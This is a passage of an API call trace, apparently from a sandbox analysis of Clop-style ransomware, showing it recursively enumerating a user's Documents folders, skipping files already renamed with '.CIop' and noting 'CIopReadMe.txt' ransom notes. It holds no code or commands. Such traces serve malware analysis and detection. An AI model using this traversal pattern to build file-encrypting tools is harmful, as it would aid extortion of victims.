returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files" [0169.150] SetErrorMode (uMode=0x1) returned 0x1 [0169.150] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files" [0169.150] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\" [0169.150] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\" [0169.150] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\*.*" [0169.150] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e0b8 [0169.150] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files") returned="Outlook Files" [0169.150] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Outlook Files" | out: lpString1="Outlook Files") returned="Outlook Files" [0169.150] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.150] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.151] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0169.151] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0169.151] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0169.151] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.151] lstrcmpW (lpString1="lcfkj@kiekc.df.pst.CIop", lpString2="..") returned 1 [0169.151] lstrcmpW (lpString1="lcfkj@kiekc.df.pst.CIop", lpString2=".") returned 1 [0169.151] lstrlenW (lpString=".CIop") returned 5 [0169.151] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0169.151] FindClose (in: hFindFile=0x67e0b8 | out: hFindFile=0x67e0b8) returned 1 [0169.151] FindClose (in: hFindFile=0x67e0b8 | out: hFindFile=0x67e0b8) returned 0 [0169.151] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files" [0169.151] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\*.*" [0169.151] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67dbf8 [0169.151] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files") returned="Outlook Files" [0169.151] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Outlook Files" | out: lpString1="Outlook Files") returned="Outlook Files" [0169.151] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.151] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.151] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.151] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.151] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0169.151] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 1 [0169.151] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 0 [0169.151] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.151] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.151] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0169.151] lstrcmpW (lpString1="WZsO9vKmM1PXfg", lpString2="..") returned 1 [0169.151] lstrcmpW (lpString1="WZsO9vKmM1PXfg", lpString2=".") returned 1 [0169.151] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0169.151] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0169.151] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="WZsO9vKmM1PXfg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg" [0169.152] SetErrorMode (uMode=0x1) returned 0x1 [0169.152] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg" [0169.152] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\" [0169.152] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\" [0169.152] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\*.*" [0169.152] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e2b8 [0169.152] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg") returned="WZsO9vKmM1PXfg" [0169.152] lstrcpyW (in: lpString1=0x2dc7014, lpString2="WZsO9vKmM1PXfg" | out: lpString1="WZsO9vKmM1PXfg") returned="WZsO9vKmM1PXfg" [0169.152] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.152] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.152] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0169.152] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0169.152] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0169.152] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.152] lstrcmpW (lpString1="uhL6PZJxrZwaAeTB.ods.CIop", lpString2="..") returned 1 [0169.152] lstrcmpW (lpString1="uhL6PZJxrZwaAeTB.ods.CIop", lpString2=".") returned 1 [0169.152] lstrlenW (lpString=".CIop") returned 5 [0169.152] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.152] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0169.152] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0169.152] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0169.152] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg" [0169.152] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\*.*" [0169.152] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67dbf8 [0169.152] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg") returned="WZsO9vKmM1PXfg" [0169.152] lstrcpyW (in: lpString1=0x2dc7014, lpString2="WZsO9vKmM1PXfg" | out: lpString1="WZsO9vKmM1PXfg") returned="WZsO9vKmM1PXfg" [0169.152] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.152] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.152] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.153] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.153] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0169.153] lstrcmpW (lpString1="us_5U4ni7qwInOUE", lpString2="..") returned 1 [0169.153] lstrcmpW (lpString1="us_5U4ni7qwInOUE", lpString2=".") returned 1 [0169.153] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg" [0169.153] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\" [0169.153] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\", lpString2="us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0169.153] SetErrorMode (uMode=0x1) returned 0x1 [0169.153] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0169.153] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" [0169.153] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" [0169.153] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\*.*" [0169.153] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67dc38 [0169.153] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="us_5U4ni7qwInOUE" [0169.153] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="us_5U4ni7qwInOUE" | out: lpString1="us_5U4ni7qwInOUE") returned="us_5U4ni7qwInOUE" [0169.153] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0169.153] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0169.153] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0169.153] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0169.153] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0169.153] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0169.153] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0169.153] FindClose (in: hFindFile=0x67dc38 | out: hFindFile=0x67dc38) returned 1 [0169.153] FindClose (in: hFindFile=0x67dc38 | out: hFindFile=0x67dc38) returned 0 [0169.153] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0169.153] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\*.*" [0169.153] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67e2b8 [0169.153] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="us_5U4ni7qwInOUE" [0169.153] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="us_5U4ni7qwInOUE" | out: lpString1="us_5U4ni7qwInOUE") returned="us_5U4ni7qwInOUE" [0169.153] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0169.153] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.154] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0169.154] lstrcmpW (lpString1="-3ostnyb", lpString2="..") returned 1 [0169.154] lstrcmpW (lpString1="-3ostnyb", lpString2=".") returned 1 [0169.154] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0169.154] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" [0169.154] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\", lpString2="-3ostnyb" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" [0169.154] SetErrorMode (uMode=0x1) returned 0x1 [0169.154] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" [0169.154] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\" [0169.154] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\" [0169.154] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\*.*" [0169.154] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67db78 [0169.154] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb") returned="-3ostnyb" [0169.154] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="-3ostnyb" | out: lpString1="-3ostnyb") returned="-3ostnyb" [0169.154] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.154] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.154] lstrcmpW (lpString1="-PZcxu.pps.CIop", lpString2="..") returned 1 [0169.154] lstrcmpW (lpString1="-PZcxu.pps.CIop", lpString2=".") returned 1 [0169.154] lstrlenW (lpString=".CIop") returned 5 [0169.154] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.154] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.154] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.154] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0169.154] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0169.154] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0169.154] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.154] lstrcmpW (lpString1="GAgDtV.ods.CIop", lpString2="..") returned 1 [0169.154] lstrcmpW (lpString1="GAgDtV.ods.CIop", lpString2=".") returned 1 [0169.154] lstrlenW (lpString=".CIop") returned 5 [0169.154] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.154] lstrcmpW (lpString1="yhA0tWH2QIX.odt.CIop", lpString2="..") returned 1 [0169.154] lstrcmpW (lpString1="yhA0tWH2QIX.odt.CIop", lpString2=".") returned 1 [0169.154] lstrlenW (lpString=".CIop") returned 5 [0169.154] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0169.154] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 1 [0169.154] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 0 [0169.154] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" [0169.155] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\*.*" [0169.155] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67de38 [0169.155] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb") returned="-3ostnyb" [0169.155] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="-3ostnyb" | out: lpString1="-3ostnyb") returned="-3ostnyb" [0169.155] FindNextFileW (in: hFindFile=0x67de38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.155] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.155] FindNextFileW (in: hFindFile=0x67de38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.155] FindNextFileW (in: hFindFile=0x67de38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.155] lstrcmpW (lpString1="2pWzntbD", lpString2="..") returned 1 [0169.155] lstrcmpW (lpString1="2pWzntbD", lpString2=".") returned 1 [0169.155] lstrcpyW (in: lpString1=0x2dc49a0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" [0169.155] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\" [0169.155] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\", lpString2="2pWzntbD" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD" [0169.155] SetErrorMode (uMode=0x1) returned 0x1 [0169.155] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD" [0169.155] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD", lpString2="\\" | out: 